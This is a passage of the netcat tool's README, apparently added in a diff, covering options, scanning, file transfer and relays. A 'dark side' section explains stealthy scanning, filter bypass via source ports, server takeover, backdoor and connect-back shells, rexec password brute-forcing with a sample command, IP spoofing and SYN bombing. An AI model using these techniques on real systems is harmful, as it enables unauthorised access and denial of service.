can define ANAL at compile time to make it case-sensitive -- + sometimes useful for uncovering minor errors in your own DNS files + while poking around your networks. + + A port argument is required for outbound connections, and can be + numeric or a name as listed in /etc/services. If -n is specified, only + numeric arguments are valid. Special syntax and/or more than one port + argument cause different behavior -- see details below about + port-scanning. + + The -v switch controls the verbosity level of messages sent to + standard error. You will probably want to run netcat most of the time + with -v turned on, so you can see info about the connections it is + trying to make. You will probably also want to give a smallish -w + argument, which limits the time spent trying to make a connection. I + usually alias "nc" to "nc -v -w 3", which makes it function just about + the same for things I would otherwise use telnet to do. The timeout is + easily changed by a subsequent -w argument which overrides the earlier + one. Specifying -v more than once makes diagnostic output MORE + verbose. If -v is not specified at all, netcat silently does its work + unless some error happens, whereupon it describes the error and exits + with a nonzero status. Refused network connections are generally NOT + considered to be errors, unless you only asked for a single TCP port + and it was refused. + + Note that -w also sets the network inactivity timeout. This does not + have any effect until standard input closes, but then if nothing + further arrives from the network in the next seconds, netcat tries to + read the net once more for good measure, and then closes and exits. + There are a lot of network services now that accept a small amount of + input and return a large amount of output, such as Gopher and Web + servers, which is the main reason netcat was written to "block" on the + network staying open rather than standard input. Handling the timeout + this way gives uniform behavior with network servers that *don't* + close by themselves until told to. + + UDP connections are opened instead of TCP when -u is specified. These + aren't really "connections" per se since UDP is a connectionless + protocol, although netcat does internally use the "connected UDP + socket" mechanism that most kernels support. Although netcat claims + that an outgoing UDP connection is "open" immediately, no data is sent + until something is read from standard input. Only thereafter is it + possible to determine whether there really is a UDP server on the + other end, and often you just can't tell. Most UDP protocols use + timeouts and retries to do their thing and in many cases won't bother + answering at all, so you should specify a timeout and hope for the + best. You will get more out of UDP connections if standard input is + fed from a source of data that looks like various kinds of server + requests. + + To obtain a hex dump file of the data sent either way, use "-o + logfile". The dump lines begin with "<" or ">" to respectively + indicate "from the net" or "to the net", and contain the total count + per direction, and hex and ascii representations of the traffic. + Capturing a hex dump naturally slows netcat down a bit, so don't use + it where speed is critical. + + Netcat can bind to any local port, subject to privilege restrictions + and ports that are already in use. It is also possible to use a + specific local network source address if it is that of a network + interface on your machine. [Note: this does not work correctly on all + platforms.] Use "-p portarg" to grab a specific local port, and "-s + ip-addr" or "-s name" to have that be your source IP address. This is + often referred to as "anchoring the socket". Root users can grab any + unused source port including the "reserved" ones less than 1024. + Absence of -p will bind to whatever unused port the system gives you, + just like any other normal client connection, unless you use -r [see + below]. + + Listen mode will cause netcat to wait for an inbound connection, and + then the same data transfer happens. Thus, you can do "nc -l -p 1234 < + filename" and when someone else connects to your port 1234, the file + is sent to them whether they wanted it or not. Listen mode is + generally used along with a local port argument -- this is required + for UDP mode, while TCP mode can have the system assign one and tell + you what it is if -v is turned on. If you specify a target host and + optional port in listen mode, netcat will accept an inbound connection + only from that host and if you specify one, only from that foreign + source port. In verbose mode you'll be informed about the inbound + connection, including what address and port it came from, and since + listening on "any" applies to several possibilities, which address it + came *to* on your end. If the system supports IP socket options, + netcat will attempt to retrieve any such options from an inbound + connection and print them out in hex. + + If netcat is compiled with -DGAPING_SECURITY_HOLE, the -e argument + specifies a program to exec after making or receiving a successful + connection. In the listening mode, this works similarly to "inetd" but + only for a single instance. Use with GREAT CARE. This piece of the + code is normally not enabled; if you know what you're doing, have fun. + This hack also works in UDP mode. Note that you can only supply -e + with the name of the program, but no arguments. If you want to launch + something with an argument list, write a two-line wrapper script or + just use inetd like always. + + If netcat is compiled with -DTELNET, the -t argument enables it to + respond to telnet option negotiation [always in the negative, i.e. + DONT or WONT]. This allows it to connect to a telnetd and get past the + initial negotiation far enough to get a login prompt from the server. + Since this feature has the potential to modify the data stream, it is + not enabled by default. You have to understand why you might need this + and turn on the #define yourself. + + Data from the network connection is always delivered to standard + output as efficiently as possible, using large 8K reads and writes. + Standard input is normally sent to the net the same way, but the -i + switch specifies an "interval time" which slows this down + considerably. Standard input is still read in large batches, but + netcat then tries to find where line breaks exist and sends one line + every interval time. Note that if standard input is a terminal, data + is already read line by line, so unless you make the -i interval + rather long, what you type will go out at a fairly normal rate. -i is + really designed for use when you want to "measure out" what is read + from files or pipes. + + Port-scanning is a popular method for exploring what's out there. + Netcat accepts its commands with options first, then the target host, + and everything thereafter is interpreted as port names or numbers, or + ranges of ports in M-N syntax. CAVEAT: some port names in + /etc/services contain hyphens -- netcat currently will not correctly + parse those, so specify ranges using numbers if you can. If more than + one port is thus specified, netcat connects to *all* of them, sending + the same batch of data from standard input [up to 8K worth] to each + one that is successfully connected to. Specifying multiple ports also + suppresses diagnostic messages about refused connections, unless -v is + specified twice for "more verbosity". This way you normally get + notified only about genuinely open connections. Example: "nc -v -w 2 + -z target 20-30" will try connecting to every port between 20 and 30 + [inclusive] at the target, and will likely inform you about an FTP + server, telnet server, and mailer along the way. The -z switch + prevents sending any data to a TCP connection and very limited probe + data to a UDP connection, and is thus useful as a fast scanning mode + just to see what ports the target is listening on. To limit scanning + speed if desired, -i will insert a delay between each port probe. + There are some pitfalls with regard to UDP scanning, described later, + but in general it works well. + + For each range of ports specified, scanning is normally done downward + within that range. If the -r switch is used, scanning hops randomly + around within that range and reports open ports as it finds them. [If + you want them listed in order regardless, pipe standard error through + "sort"...] In addition, if random mode is in effect, the local source + ports are also randomized. This prevents netcat from exhibiting any + kind of regular pattern in its scanning. You can exert fairly fine + control over your scan by judicious use of -r and selected port ranges + to cover. If you use -r for a single connection, the source port will + have a random value above 8192, rather than the next one the kernel + would have assigned you. Note that selecting a specific local port + with -p overrides any local-port randomization. + + Many people are interested in testing network connectivity using IP + source routing, even if it's only to make sure their own firewalls are + blocking source-routed packets. On systems that support it, the -g + switch can be used multiple times [up to 8] to construct a + loose-source-routed path for your connection, and the -G argument + positions the "hop pointer" within the list. If your network allows + source-routed traffic in and out, you can test connectivity to your + own services via remote points in the internet. Note that although + newer BSD-flavor telnets also have source-routing capability, it isn't + clearly documented and the command syntax is somewhat clumsy. Netcat's + handling of "-g" is modeled after "traceroute". + + Netcat tries its best to behave just like "cat". It currently does + nothing to terminal input modes, and does no end-of-line conversion. + Standard input from a terminal is read line by line with normal + editing characters in effect. You can freely suspend out of an + interactive connection and resume. ^C or whatever your interrupt + character is will make netcat close the network connection and exit. A + switch to place the terminal in raw mode has been considered, but so + far has not been necessary. You can send raw binary data by reading it + out of a file or piping from another program, so more meaningful + effort would be spent writing an appropriate front-end driver. + + Netcat is not an "arbitrary packet generator", but the ability to talk + to raw sockets and/or nit/bpf/dlpi may appear at some point. Such + things are clearly useful; I refer you to Darren Reed's excellent + ip_filter package, which now includes a tool to construct and send raw + packets with any contents you want. + + Example uses -- the light side + + Again, this is a very partial list of possibilities, but it may get + you to think up more applications for netcat. Driving netcat with + simple shell or expect scripts is an easy and flexible way to do + fairly complex tasks, especially if you're not into coding network + tools in C. My coding isn't particularly strong either [although + undoubtedly better after writing this thing!], so I tend to construct + bare-metal tools like this that I can trivially plug into other + applications. Netcat doubles as a teaching tool -- one can learn a + great deal about more complex network protocols by trying to simulate + them through raw connections! + + An example of netcat as a backend for something else is the + shell-script Web browser, which simply asks for the relevant parts of + a URL and pipes "GET /what/ever" into a netcat connection to the + server. I used to do this with telnet, and had to use calculated sleep + times and other stupidity to kludge around telnet's limitations. + Netcat guarantees that I get the whole page, and since it transfers + all the data unmodified, I can even pull down binary image files and + display them elsewhere later. Some folks may find the idea of a + shell-script web browser silly and strange, but it starts up and gets + me my info a hell of a lot faster than a GUI browser and doesn't hide + any contents of links and forms and such. This is included, as + scripts/web, along with several other web-related examples. + + Netcat is an obvious replacement for telnet as a tool for talking to + daemons. For example, it is easier to type "nc host 25", talk to + someone's mailer, and just ^C out than having to type ^]c or QUIT as + telnet would require you to do. You can quickly catalog the services + on your network by telling netcat to connect to well-known services + and collect greetings, or at least scan for open ports. You'll + probably want to collect netcat's diagnostic messages in your output + files, so be sure to include standard error in the output using `>& + file' in *csh or `> file 2>&1' in bourne shell. + + A scanning example: "echo QUIT | nc -v -w 5 target 20-250 500-600 + 5990-7000" will inform you about a target's various well-known TCP + servers, including r-services, X, IRC, and maybe a few you didn't + expect. Sending in QUIT and using the timeout will almost guarantee + that you see some kind of greeting or error from each service, which + usually indicates what it is and what version. [Beware of the + "chargen" port, though...] SATAN uses exactly this technique to + collect host information, and indeed some of the ideas herein were + taken from the SATAN backend tools. If you script this up to try every + host in your subnet space and just let it run, you will not only see + all the services, you'll find out about hosts that aren't correctly + listed in your DNS. Then you can compare new snapshots against old + snapshots to see changes. For going after particular services, a more + intrusive example is in scripts/probe. + + Netcat can be used as a simple data transfer agent, and it doesn't + really matter which end is the listener and which end is the client -- + input at one side arrives at the other side as output. It is helpful + to start the listener at the receiving side with no timeout specified, + and then give the sending side a small timeout. That way the listener + stays listening until you contact it, and after data stops flowing the + client will time out, shut down, and take the listener with it. Unless + the intervening network is fraught with problems, this should be + completely reliable, and you can always increase the timeout. A + typical example of something "rsh" is often used for: on one side, + + nc -l -p 1234 | uncompress -c | tar xvfp - + + and then on the other side + + tar cfp - /some/dir | compress -c | nc -w 3 othermachine 1234 + + will transfer the contents of a directory from one machine to another, + without having to worry about .rhosts files, user accounts, or inetd + configurations at either end. Again, it matters not which is the + listener or receiver; the "tarring" machine could just as easily be + running the listener instead. One could conceivably use a scheme like + this for backups, by having cron-jobs fire up listeners and backup + handlers [which can be restricted to specific addresses and ports + between each other] and pipe "dump" or "tar" on one machine to "dd + of=/dev/tapedrive" on another as usual. Since netcat returns a nonzero + exit status for a denied listener connection, scripts to handle such + tasks could easily log and reject connect attempts from third parties, + and then retry. + + Another simple data-transfer example: shipping things to a PC that + doesn't have any network applications yet except a TCP stack and a web + browser. Point the browser at an arbitrary port on a Unix server by + telling it to download something like http://unixbox:4444/foo, and + have a listener on the Unix side ready to ship out a file when the + connect comes in. The browser may pervert binary data when told to + save the URL, but you can dig the raw data out of the on-disk cache. + + If you build netcat with GAPING_SECURITY_HOLE defined, you can use it + as an "inetd" substitute to test experimental network servers that + would otherwise run under "inetd". A script or program will have its + input and output hooked to the network the same way, perhaps sans some + fancier signal handling. Given that most network services do not bind + to a particular local address, whether they are under "inetd" or not, + it is possible for netcat avoid the "address already in use" error by + binding to a specific address. This lets you [as root, for low ports] + place netcat "in the way" of a standard service, since inbound + connections are generally sent to such specifically-bound listeners + first and fall back to the ones bound to "any". This allows for a + one-off experimental simulation of some service, without having to + screw around with inetd.conf. Running with -v turned on and collecting + a connection log from standard error is recommended. + + Netcat as well can make an outbound connection and then run a program + or script on the originating end, with input and output connected to + the same network port. This "inverse inetd" capability could enhance + the backup-server concept described above or help facilitate things + such as a "network dialback" concept. The possibilities are many and + varied here; if such things are intended as security mechanisms, it + may be best to modify netcat specifically for the purpose instead of + wrapping such functions in scripts. Speaking of inetd, netcat will + function perfectly well *under* inetd as a TCP connection redirector + for inbound services, like a "plug-gw" without the authentication + step. This is very useful for doing stuff like redirecting traffic + through your firewall out to other places like web servers and mail + hubs, while posing no risk to the firewall machine itself. Put netcat + behind inetd and tcp_wrappers, perhaps thusly: + + www stream tcp nowait nobody /etc/tcpd /bin/nc -w 3 realwww 80 + + and you have a simple and effective "application relay" with access + control and logging. Note use of the wait time as a "safety" in case + realwww isn't reachable or the calling user aborts the connection -- + otherwise the relay may hang there forever. + + You can use netcat to generate huge amounts of useless network data + for various performance testing. For example, doing + + yes AAAAAAAAAAAAAAAAAAAAAA | nc -v -v -l -p 2222 > /dev/null + + on one side and then hitting it with + + yes BBBBBBBBBBBBBBBBBBBBBB | nc othermachine 2222 > /dev/null + + from another host will saturate your wires with A's and B's. The "very + verbose" switch usage will tell you how many of each were sent and + received after you interrupt either side. Using UDP mode produces + tremendously MORE trash per unit time in the form of fragmented 8 + Kbyte mobygrams -- enough to stress-test kernels and network + interfaces. Firing random binary data into various network servers may + help expose bugs in their input handling, which nowadays is a popular + thing to explore. A simple example data-generator is given in + data/data.c included in this package, along with a small collection of + canned input files to generate various packet contents. This program + is documented in its beginning comments, but of interest here is using + "%r" to generate random bytes at well-chosen points in a data stream. + If you can crash your daemon, you likely have a security problem. + + The hex dump feature may be useful for debugging odd network + protocols, especially if you don't have any network monitoring + equipment handy or aren't root where you'd need to run "tcpdump" or + something. Bind a listening netcat to a local port, and have it run a + script which in turn runs another netcat to the real service and + captures the hex dump to a log file. This sets up a transparent relay + between your local port and wherever the real service is. Be sure that + the script-run netcat does *not* use -v, or the extra info it sends to + standard error may confuse the protocol. Note also that you cannot + have the "listen/exec" netcat do the data capture, since once the + connection arrives it is no longer netcat that is running. + + Binding to an arbitrary local port allows you to simulate things like + r-service clients, if you are root locally. For example, feeding + "^@root^@joe^@pwd^@" [where ^@ is a null, and root/joe could be any + other local/remote username pair] into a "rsh" or "rlogin" server, + FROM your port 1023 for example, duplicates what the server expects to + receive. Thus, you can test for insecure .rhosts files around your + network without having to create new user accounts on your client + machine. The program data/rservice.c can aid this process by + constructing the "rcmd" protocol bytes. Doing this also prevents + "rshd" from trying to create that separate standard-error socket and + still gives you an input path, as opposed to the usual action of "rsh + -n". Using netcat for things like this can be really useful sometimes, + because rsh and rlogin generally want a host *name* as an argument and + won't accept IP addresses. If your client-end DNS is hosed, as may be + true when you're trying to extract backup sets on to a dumb client, + "netcat -n" wins where normal rsh/rlogin is useless. + + If you are unsure that a remote syslogger is working, test it with + netcat. Make a UDP connection to port 514 and type in "<0>message", + which should correspond to "kern.emerg" and cause syslogd to scream + into every file it has open [and possibly all over users' terminals]. + You can tame this down by using a different number and use netcat + inside routine scripts to send syslog messages to places that aren't + configured in syslog.conf. For example, "echo '<38>message' | nc -w 1 + -u loggerhost 514" should send to auth.notice on loggerhost. The exact + number may vary; check against your syslog.h first. + +Netcat provides several ways for you to test your own packet filters. + If you bind to a port normally protected against outside access and + make a connection to somewhere outside your own network, the return + traffic will be coming to your chosen port from the "outside" and + should be blocked. TCP may get through if your filter passes all "ack + syn", but it shouldn't be even doing that to low ports on your + network. Remember to test with UDP traffic as well! If your filter + passes at least outbound source-routed IP packets, bouncing a + connection back to yourself via some gateway outside your network will + create "incoming" traffic with your source address, which should get + dropped by a correctly configured anti-spoofing filter. This is a + "non-test" if you're also dropping source-routing, but it's good to be + able to test for that too. Any packet filter worth its salt will be + blocking source-routed packets in both directions, but you never know + what interesting quirks you might turn up by playing around with + source ports and addresses and watching the wires with a network + monitor. + + You can use netcat to protect your own workstation's X server against + outside access. X is stupid enough to listen for connections on "any" + and never tell you when new connections arrive, which is one reason it + is so vulnerable. Once you have all your various X windows up and + running you can use netcat to bind just to your ethernet address and + listen to port 6000. Any new connections from outside the machine will + hit netcat instead your X server, and you get a log of who's trying. + You can either tell netcat to drop the connection, or perhaps run + another copy of itself to relay to your actual X server on + "localhost". This may not work for dedicated X terminals, but it may + be possible to authorize your X terminal only for its boot server, and + run a relay netcat over on the server that will in turn talk to your X + terminal. Since netcat only handles one listening connection per run, + make sure that whatever way you rig it causes another one to run and + listen on 6000 soon afterward, or your real X server will be reachable + once again. A very minimal script just to protect yourself could be + + while true ; do + nc -v -l -s -p 6000 localhost 2 + done + + which causes netcat to accept and then close any inbound connection to + your workstation's normal ethernet address, and another copy is + immediately run by the script. Send standard error to a file for a log + of connection attempts. If your system can't do the "specific bind" + thing all is not lost; run your X server on display ":1" or port 6001, + and netcat can still function as a probe alarm by listening on 6000. + + Does your shell-account provider allow personal Web pages, but not CGI + scripts? You can have netcat listen on a particular port to execute a + program or script of your choosing, and then just point to the port + with a URL in your homepage. The listener could even exist on a + completely different machine, avoiding the potential ire of the + homepage-host administrators. Since the script will get the raw + browser query as input it won't look like a typical CGI script, and + since it's running under your UID you need to write it carefully. You + may want to write a netcat-based script as a wrapper that reads a + query and sets up environment variables for a regular CGI script. The + possibilities for using netcat and scripts to handle Web stuff are + almost endless. Again, see the examples under scripts/. + + Example uses -- the dark side + + Equal time is deserved here, since a versatile tool like this can be + useful to any Shade of Hat. I could use my Victorinox to either fix + your car or disassemble it, right? You can clearly use something like + netcat to attack or defend -- I don't try to govern anyone's social + outlook, I just build tools. Regardless of your intentions, you should + still be aware of these threats to your own systems. + + The first obvious thing is scanning someone *else's* network for + vulnerable services. Files containing preconstructed data, be it + exploratory or exploitive, can be fed in as standard input, including + command-line arguments to netcat itself to keep "ps" ignorant of your + doings. The more random the scanning, the less likelihood of detection + by humans, scan-detectors, or dynamic filtering, and with -i you'll + wait longer but avoid loading down the target's network. Some examples + for crafting various standard UDP probes are given in data/*.d. + + Some configurations of packet filters attempt to solve the FTP-data + problem by just allowing such connections from the outside. These come + FROM port 20, TO high TCP ports inside -- if you locally bind to port + 20, you may find yourself able to bypass filtering in some cases. + Maybe not to low ports "inside", but perhaps to TCP NFS servers, X + servers, Prospero, ciscos that listen on 200x and 400x... Similar + bypassing may be possible for UDP [and maybe TCP too] if a connection + comes from port 53; a filter may assume it's a nameserver response. + + Using -e in conjunction with binding to a specific address can enable + "server takeover" by getting in ahead of the real ones, whereupon you + can snarf data sent in and feed your own back out. At the very least + you can log a hex dump of someone else's session. If you are root, you + can certainly use -s and -e to run various hacked daemons without + having to touch inetd.conf or the real daemons themselves. You may not + always have the root access to deal with low ports, but what if you + are on a machine that also happens to be an NFS server? You might be + able to collect some interesting things from port 2049, including + local file handles. There are several other servers that run on high + ports that are likely candidates for takeover, including many of the + RPC services on some platforms [yppasswdd, anyone?]. Kerberos tickets, + X cookies, and IRC traffic also come to mind. RADIUS-based terminal + servers connect incoming users to shell-account machines on a high + port, usually 1642 or thereabouts. SOCKS servers run on 1080. Do + "netstat -a" and get creative. + + There are some daemons that are well-written enough to bind separately + to all the local interfaces, possibly with an eye toward heading off + this sort of problem. Named from recent BIND releases, and NTP, are + two that come to mind. Netstat will show these listening on address.53 + instead of *.53. You won't be able to get in front of these on any of + the real interface addresses, which of course is especially + interesting in the case of named, but these servers sometimes forget + about things like "alias" interface addresses or interfaces that + appear later on such as dynamic PPP links. There are some hacked web + servers and versions of "inetd" floating around that specifically bind + as well, based on a configuration file -- these generally *are* bound + to alias addresses to offer several different address-based services + from one machine. + + Using -e to start a remote backdoor shell is another obvious sort of + thing, easier than constructing a file for inetd to listen on + "ingreslock" or something, and you can access-control it against other + people by specifying a client host and port. Experience with this + truly demonstrates how fragile the barrier between being "logged in" + or not really is, and is further expressed by scripts/bsh. If you're + already behind a firewall, it may be easier to make an *outbound* + connection and then run a shell; a small wrapper script can + periodically try connecting to a known place and port, you can later + listen there until the inbound connection arrives, and there's your + shell. Running a shell via UDP has several interesting features, + although be aware that once "connected", the UDP stub sockets tend to + show up in "netstat" just like TCP connections and may not be quite as + subtle as you wanted. Packets may also be lost, so use TCP if you need + reliable connections. But since UDP is connectionless, a hookup of + this sort will stick around almost forever, even if you ^C out of + netcat or do a reboot on your side, and you only need to remember the + ports you used on both ends to reestablish. And outbound UDP-plus-exec + connection creates the connected socket and starts the program + immediately. On a listening UDP connection, the socket is created once + a first packet is received. In either case, though, such a + "connection" has the interesting side effect that only your + client-side IP address and [chosen?] source port will thereafter be + able to talk to it. Instant access control! A non-local third party + would have to do ALL of the following to take over such a session: + + * forge UDP with your source address [trivial to do; see below] + * guess the port numbers of BOTH ends, or sniff the wire for them + * arrange to block ICMP or UDP return traffic between it and your + real + * source, so the session doesn't die with a network write error. + + The companion program data/rservice.c is helpful in scripting up any + sort of r-service username or password guessing attack. The arguments + to "rservice" are simply the strings that get null-terminated and + passed over an "rcmd"-style connection, with the assumption that the + client does not need a separate standard-error port. Brute-force + password banging is best done via "rexec" if it is available since it + is less likely to log failed attempts. Thus, doing "rservice joe + joespass pwd | nc target exec" should return joe's home dir if the + password is right, or "Permission denied." Plug in a dictionary and go + to town. If you're attacking rsh/rlogin, remember to be root and bind + to a port between 512 and 1023 on your end, and pipe in "rservice joe + joe pwd" and such. + + Netcat can prevent inadvertently sending extra information over a + telnet connection. Use "nc -t" in place of telnet, and daemons that + try to ask for things like USER and TERM environment variables will + get no useful answers, as they otherwise would from a more recent + telnet program. Some telnetds actually try to collect this stuff and + then plug the USER variable into "login" so that the caller is then + just asked for a password! This mechanism could cause a login attempt + as YOUR real username to be logged over there if you use a + Borman-based telnet instead of "nc -t". + + Got an unused network interface configured in your kernel [e.g. SLIP], + or support for alias addresses? Ifconfig one to be any address you + like, and bind to it with -s to enable all sorts of shenanigans with + bogus source addresses. The interface probably has to be UP before + this works; some SLIP versions need a far-end address before this is + true. Hammering on UDP services is then a no-brainer. What you can do + to an unfiltered syslog daemon should be fairly obvious; trimming the + conf file can help protect against it. Many routers out there still + blindly believe what they receive via RIP and other routing protocols. + Although most UDP echo and chargen servers check if an incoming packet + was sent from *another* "internal" UDP server, there are many that + still do not, any two of which [or many, for that matter] could keep + each other entertained for hours at the expense of bandwidth. And you + can always make someone wonder why she's being probed by nsa.gov. + + Your TCP spoofing possibilities are mostly limited to destinations you + can source-route to while locally bound to your phony address. Many + sites block source-routed packets these days for precisely this + reason. If your kernel does oddball things when sending source-routed + packets, try moving the pointer around with -G. You may also have to + fiddle with the routing on your own machine before you start receiving + packets back. Warning: some machines still send out traffic using the + source address of the outbound interface, regardless of your binding, + especially in the case of localhost. Check first. If you can open a + connection but then get no data back from it, the target host is + probably killing the IP options on its end [this is an option inside + TCP wrappers and several other packages], which happens after the + 3-way handshake is completed. If you send some data and observe the + "send-q" side of "netstat" for that connection increasing but never + getting sent, that's another symptom. Beware: if Sendmail 8.7.x + detects a source-routed SMTP connection, it extracts the hop list and + sticks it in the Received: header! + + SYN bombing [sometimes called "hosing"] can disable many TCP servers, + and if you hit one often enough, you can keep it unreachable for days. + As is true of many other denial-of-service attacks, there is currently + no defense against it except maybe at the human level. Making kernel + SOMAXCONN considerably larger than the default and the half-open + timeout smaller can help, and indeed some people running large + high-performance web servers have *had* to do that just to handle + normal traffic. Taking out mailers and web servers is sociopathic, but + on the other hand it is sometimes useful to be able to, say, disable a + site's identd daemon for a few minutes. If someone realizes what is + going on, backtracing will still be difficult since the packets have a + phony source address, but calls to enough ISP NOCs might eventually + pinpoint the source. It is also trivial for a clueful ISP to watch for + or even block outgoing packets with obviously fake source addresses, + but as we know many of them are not clueful or willing to get involved + in such hassles. Besides, outbound packets with an [otherwise + unreachable] source address in one of their net blocks would look + fairly legitimate. + + Notes + + A discussion of various caveats, subtleties, and the design of the + innards. + + As of version 1.07 you can construct a single file containing command + arguments and then some data to transfer. Netcat is now smart enough + to pick out the first line and build the argument list, and send any + remaining data across the net to one or multiple ports. The first + release of netcat had trouble with this -- it called fgets() for the + command line argument, which behind the scenes does a large read() + from standard input, perhaps 4096 bytes or so, and feeds that out to + the fgets() library routine. By the time netcat 1.00 started directly + read()ing stdin for more data, 4096 bytes of it were gone. It now uses + raw read() everywhere and does the right thing whether reading from + files, pipes, or ttys. If you use this for multiple-port connections, + the single block of data will now be a maximum of 8K minus the first + line. Improvements have been made to the logic in sending the saved + chunk to each new port. Note that any command-line arguments hidden + using this mechanism could still be extracted from a core dump. + + When netcat receives an inbound UDP connection, it creates a + "connected socket" back to the source of the connection so that it can + also send out data using normal write(). Using this mechanism instead + of recvfrom/sendto has several advantages -- the read/write select + loop is simplified, and ICMP errors can in effect be received by + non-root users. However, it has the subtle side effect that if further + UDP packets arrive from the caller but from different source ports, + the listener will not receive them. UDP listen mode on a multihomed + machine may have similar quirks unless you specifically bind to one of + its addresses. It is not clear that kernel support for UDP connected + sockets and/or my understanding of it is entirely complete here, so + experiment... + + You should be aware of some subtleties concerning UDP scanning. If -z + is on, netcat attempts to send a single null byte to the target port, + twice, with a small time in between. You can either use the -w + timeout, or netcat will try to make a "sideline" TCP connection to the + target to introduce a small time delay equal to the round-trip time + between you and the target. Note that if you have a -w timeout and -i + timeout set, BOTH take effect and you wait twice as long. The TCP + connection is to a normally refused port to minimize traffic, but if + you notice a UDP fast-scan taking somewhat longer than it should, it + could be that the target is actually listening on the TCP port. Either + way, any ICMP port-unreachable messages from the target should have + arrived in the meantime. The second single-byte UDP probe is then + sent. Under BSD kernels, the ICMP error is delivered to the "connected + socket" and the second write returns an error, which tells netcat that + there is NOT a UDP service there. While Linux seems to be a fortunate + exception, under many SYSV derived kernels the ICMP is not delivered, + and netcat starts reporting that *all* the ports are "open" -- clearly + wrong. [Some systems may not even *have* the "udp connected socket" + concept, and netcat in its current form will not work for UDP at all.] + If -z is specified and only one UDP port is probed, netcat's exit + status reflects whether the connection was "open" or "refused" as with + TCP. + + It may also be that UDP packets are being blocked by filters with no + ICMP error returns, in which case everything will time out and return + "open". This all sounds backwards, but that's how UDP works. If you're + not sure, try "echo w00gumz | nc -u -w 2 target 7" to see if you can + reach its UDP echo port at all. You should have no trouble using a + BSD-flavor system to scan for UDP around your own network, although + flooding a target with the high activity that -z generates will cause + it to occasionally drop packets and indicate false "opens". A more + "correct" way to do this is collect and analyze the ICMP errors, as + does SATAN's "udp_scan" backend, but then again there's no guarantee + that the ICMP gets back to you either. Udp_scan also does the + zero-byte probes but is excruciatingly careful to calculate its own + round-trip timing average and dynamically set its own response + timeouts along with decoding any ICMP received. Netcat uses a much + sleazier method which is nonetheless quite effective. Cisco routers + are known to have a "dead time" in between ICMP responses about + unreachable UDP ports, so a fast scan of a cisco will show almost + everything "open". If you are looking for a specific UDP service, you + can construct a file containing the right bytes to trigger a response + from the other end and send that as standard input. Netcat will read + up to 8K of the file and send the same data to every UDP port given. + Note that you must use a timeout in this case [as would any other UDP + client application] since the two-write probe only happens if -z is + specified. + + Many telnet servers insist on a specific set of option negotiations + before presenting a login banner. On a raw connection you will see + this as small amount of binary gook. My attempts to create fixed input + bytes to make a telnetd happy worked some places but failed against + newer BSD-flavor ones, possibly due to timing problems, but there are + a couple of much better workarounds. First, compile with -DTELNET and + use -t if you just want to get past the option negotiation and talk to + something on a telnet port. You will still see the binary gook -- in + fact you'll see a lot more of it as the options are responded to + behind the scenes. The telnet responder does NOT update the total byte + count, or show up in the hex dump -- it just responds negatively to + any options read from the incoming data stream. If you want to use a + normal full-blown telnet to get to something but also want some of + netcat's features involved like settable ports or timeouts, construct + a tiny "foo" script: + + #! /bin/sh + exec nc -otheroptions targethost 23 + + and then do + + + nc -l -p someport -e foo localhost & + telnet localhost someport + + and your telnet should connect transparently through the exec'ed + netcat to the target, using whatever options you supplied in the "foo" + script. Don't use -t inside the script, or you'll wind up sending + *two* option responses. + + I've observed inconsistent behavior under some Linuxes [perhaps just + older ones?] when binding in listen mode. Sometimes netcat binds only + to "localhost" if invoked with no address or port arguments, and + sometimes it is unable to bind to a specific address for listening if + something else is already listening on "any". The former problem can + be worked around by specifying "-s 0.0.0.0", which will do the right + thing despite netcat claiming that it's listening on [127.0.0.1]. This + is a known problem -- for example, there's a mention of it in the + makefile for SOCKS. On the flip side, binding to localhost and sending + packets to some other machine doesn't work as you'd expect -- they go + out with the source address of the sending interface instead. The + Linux kernel contains a specific check to ensure that packets from + 127.0.0.1 are never sent to the wire; other kernels may contain + similar code. Linux, of course, *still* doesn't support + source-routing, but they claim that it and many other network + improvements are at least breathing hard. + + There are several possible errors associated with making TCP + connections, but to specifically see anything other than "refused", + one must wait the full kernel-defined timeout for a connection to + fail. Netcat's mechanism of wrapping an alarm timer around the connect + prevents the *real* network error from being returned -- "errno" at + that point indicates "interrupted system call" since the connect + attempt was interrupted. Some old 4.3 BSD kernels would actually + return things like "host unreachable" immediately if that was the + case, but most newer kernels seem to wait the full timeout and *then* + pass back the real error. Go figure. In this case, I'd argue that the + old way was better, despite those same kernels generally being the + ones that tear down *established* TCP connections when ICMP-bombed. + + Incoming socket options are passed to applications by the kernel in + the kernel's own internal format. The socket-options structure for + source-routing contains the "first-hop" IP address first, followed by + the rest of the real options list. The kernel uses this as is when + sending reply packets -- the structure is therefore designed to be + more useful to the kernel than to humans, but the hex dump of it that + netcat produces is still useful to have. + + Kernels treat source-routing options somewhat oddly, but it sort of + makes sense once one understands what's going on internally. The + options list of addresses must contain hop1, hop2, ..., destination. + When a source-routed packet is sent by the kernel [at least BSD], the + actual destination address becomes irrelevant because it is replaced + with "hop1", "hop1" is removed from the options list, and all the + other addresses in the list are shifted up to fill the hole. Thus the + outbound packet is sent from your chosen source address to the first + *gateway*, and the options list now contains hop2, ..., destination. + During all this address shuffling, the kernel does NOT change the + pointer value, which is why it is useful to be able to set the pointer + yourself -- you can construct some really bizarre return paths, and + send your traffic fairly directly to the target but around some larger + loop on the way back. Some Sun kernels seem to never flip the + source-route around if it contains less than three hops, never reset + the pointer anyway, and tries to send the packet [with options + containing a "completed" source route!!] directly back to the source. + This is way broken, of course. [Maybe ipforwarding has to be on? I + haven't had an opportunity to beat on it thoroughly yet.] + + "Credits" section: The original idea for netcat fell out of a + long-standing desire and fruitless search for a tool resembling it and + having the same features. After reading some other network code and + realizing just how many cool things about sockets could be controlled + by the calling user, I started on the basics and the rest fell + together pretty quickly. Some port-scanning ideas were taken from + Venema/Farmer's SATAN tool kit, and Pluvius' "pscan" utility. Healthy + amounts of BSD kernel source were perused in an attempt to dope out + socket options and source-route handling; additional help was obtained + from Dave Borman's telnet sources. The select loop is loosely based on + fairly well-known code from "rsh" and Richard Stevens' "sock" program + [which itself is sort of a "netcat" with more obscure features], with + some more paranoid sanity-checking thrown in to guard against the + distinct likelihood that there are subtleties about such things I + still don't understand. I found the argument-hiding method cleanly + implemented in Barrett's "deslogin"; reading the line as input allows + greater versatility and is much less prone to cause bizarre problems + than the more common trick of overwriting the argv array. After the + first release, several people contributed portability fixes; they are + credited in generic.h and the Makefile. Lauren Burka inspired the + ascii art for this revised document. Dean Gaudet at Wired supplied a + precursor to the hex-dump code, and mudge@l0pht.com originally + experimented with and supplied code for the telnet-options responder. + Outbound "-e " resulted from a need to quietly bypass a firewall + installation. Other suggestions and patches have rolled in for which I + am always grateful, but there are only 26 hours per day and a + discussion of feature 